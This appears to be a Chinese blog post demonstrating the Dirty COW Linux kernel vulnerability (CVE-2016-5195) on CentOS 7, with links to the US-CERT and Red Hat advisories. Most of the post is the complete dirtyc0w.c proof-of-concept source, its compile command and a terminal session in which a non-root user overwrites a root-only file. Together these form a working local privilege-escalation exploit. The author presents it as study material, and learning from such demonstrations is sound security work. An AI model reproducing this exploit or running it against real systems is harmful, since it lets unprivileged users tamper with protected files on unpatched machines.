近日,Linux上爆出了关于【Copy on write】的漏洞：CVE-2016-5195。
美国计算机紧急预备中心对此发出了公告：
https://www.us-cert.gov/ncas/current-activity/2016/10/21/Linux-Kernel-Vulnerability

红帽企业也在官网做出了说明：
https://access.redhat.com/security/cve/cve-2016-5195

该漏洞影响自内核【2.6.22（2007年发行）】开始的所有Linux版本。

该漏洞利用Linux内核的内存子系统在处理写时复制时存在的条件竞争的不足，破坏私有只读内存的映射，从而让一个低权限的本地普通用户获得其他的只读的内存映射的写权限。
换句话说，普通用户可以利用该漏洞提权，以执行【root】才能执行的操作。

下面，演示下该漏洞是如何被利用的，以至于提权的细节。（注：本文所涉及的代码并非原创，而是出于学习目的的重新归纳与整理，官方发布的漏洞公告附带的漏洞测试并不是很详细，并不能让所有人都轻易的看懂）
——————————————————————

查看当前Linux的内核与系统版本信息：

[root@dockerme ~]# uname -a
Linux dockerme 3.10.0-229.el7.x86_64 #1 SMP Fri Mar 6 11:36:42 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
[root@dockerme ~]# 
[root@dockerme ~]# cat /proc/version 
Linux version 3.10.0-229.el7.x86_64 (builder@kbuilder.dev.centos.org) (gcc version 4.8.2 20140120 (Red Hat 4.8.2-16) (GCC) ) #1 SMP Fri Mar 6 11:36:42 UTC 2015
[root@dockerme ~]# 
[root@dockerme lab]# cat /etc/redhat-release 
CentOS Linux release 7.1.1503 (Core) 
[root@dockerme lab]#

以【root】身份创建测试文件：

[root@dockerme script]# mkdir /lab
[root@dockerme script]# cd /lab/
[root@dockerme lab]# ls
[root@dockerme lab]# 
[root@dockerme lab]# vi root_change_only.log
[root@dockerme lab]# 
[root@dockerme lab]# cat root_change_only.log 
# Only root can change this file
[root@dockerme lab]#

以普通用户登录，并尝试修改上面的测试文件：

[root@dockerme ~]# su - adamhuan 
[adamhuan@dockerme ~]$ 
[adamhuan@dockerme ~]$ cd /lab/
[adamhuan@dockerme lab]$ ls
root_change_only.log
[adamhuan@dockerme lab]$ 
[adamhuan@dockerme lab]$ cat root_change_only.log 
# Only root can change this file
[adamhuan@dockerme lab]$ 
[adamhuan@dockerme lab]$ echo "@ adamhuan has been changed." >> root_change_only.log 
-bash: root_change_only.log: Permission denied
[adamhuan@dockerme lab]$ 
[adamhuan@dockerme lab]$ cat root_change_only.log 
# Only root can change this file
[adamhuan@dockerme lab]$

编写程序：
该程序的源码下载路径：
https://github.com/dirtycow/dirtycow.github.io/blob/master/dirtyc0w.c

[root@dockerme ~]# cd /script/
[root@dockerme script]# ls
dirtyc0w.c
[root@dockerme script]# 
[root@dockerme script]# cat dirtyc0w.c 
#include 
#include mman.h>
#include 
#include 
#include 
  
void *map;
int f;
struct stat st;
char *name;
  
void *madviseThread(void *arg)
{
  char *str;
  str=(char*)arg;
  int i,c=0;
  for(i=0;i<100000000;i++)
  {
*
You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661
> This is achieved by racing the madvise(MADV_DONTNEED) system call
> while having the page of the executable mmapped in memory.
*/
    c+=madvise(map,100,MADV_DONTNEED);
  }
  printf("madvise %d\n\n",c);
}
  
void *procselfmemThread(void *arg)
{
  char *str;
  str=(char*)arg;
/*
You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16
>  The in the wild exploit we are aware of doesn't work on Red Hat
>  Enterprise Linux 5 and 6 out of the box because on one side of
>  the race it writes to /proc/self/mem, but /proc/self/mem is not
>  writable on Red Hat Enterprise Linux 5 and 6.
*/
  int f=open("/proc/self/mem",O_RDWR);
  int i,c=0;
  for(i=0;i<100000000;i++) {
/*
You have to reset the file pointer to the memory position.
*/
    lseek(f,map,SEEK_SET);
    c+=write(f,str,strlen(str));
  }
  printf("procselfmem %d\n\n", c);
}
  
  
int main(int argc,char *argv[])
{
/*
You have to pass two arguments. File and Contents.
*/
  if (argc<3)return 1;
  pthread_t pth1,pth2;
/*
You have to open the file in read only mode.
*/
  f=open(argv[1],O_RDONLY);
  fstat(f,&st);
  name=argv[1];
/*
You have to use MAP_PRIVATE for copy-on-write mapping.
> Create a private copy-on-write mapping.  Updates to the
> mapping are not visible to other processes mapping the same
> file, and are not carried through to the underlying file.  It
> is unspecified whether changes made to the file after the
> mmap() call are visible in the mapped region.
*/
/*
You have to open with PROT_READ.
*/
  map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
  printf("mmap %x\n\n",map);
/*
You have to do it on two threads.
*/
  pthread_create(&pth1,NULL,madviseThread,argv[1]);
  pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
/*
You have to wait for the threads to finish.
*/
  pthread_join(pth1,NULL);
  pthread_join(pth2,NULL);
  return 0;
}
[root@dockerme script]#

编译上面的代码：

[root@dockerme script]# ls
dirtyc0w.c
[root@dockerme script]# 
[root@dockerme script]# gcc -lpthread dirtyc0w.c -o dirtyc0w
[root@dockerme script]# 
[root@dockerme script]# ls
dirtyc0w  dirtyc0w.c
[root@dockerme script]#

再次尝试用普通用户【adamhuan】去修改只有【root】权限才能更改的文件：

[adamhuan@dockerme script]$ ./dirtyc0w /lab/root_change_only.log "! the privileges has been CRACK."
mmap 40697000

^C
[adamhuan@dockerme script]$ 
[adamhuan@dockerme script]$ cat /lab/root_change_only.log 
! the privileges has been CRACK.
[adamhuan@dockerme script]$

可以看到：文件内容被成功修改了。

漏洞被成功利用。
————————————————————————
Done。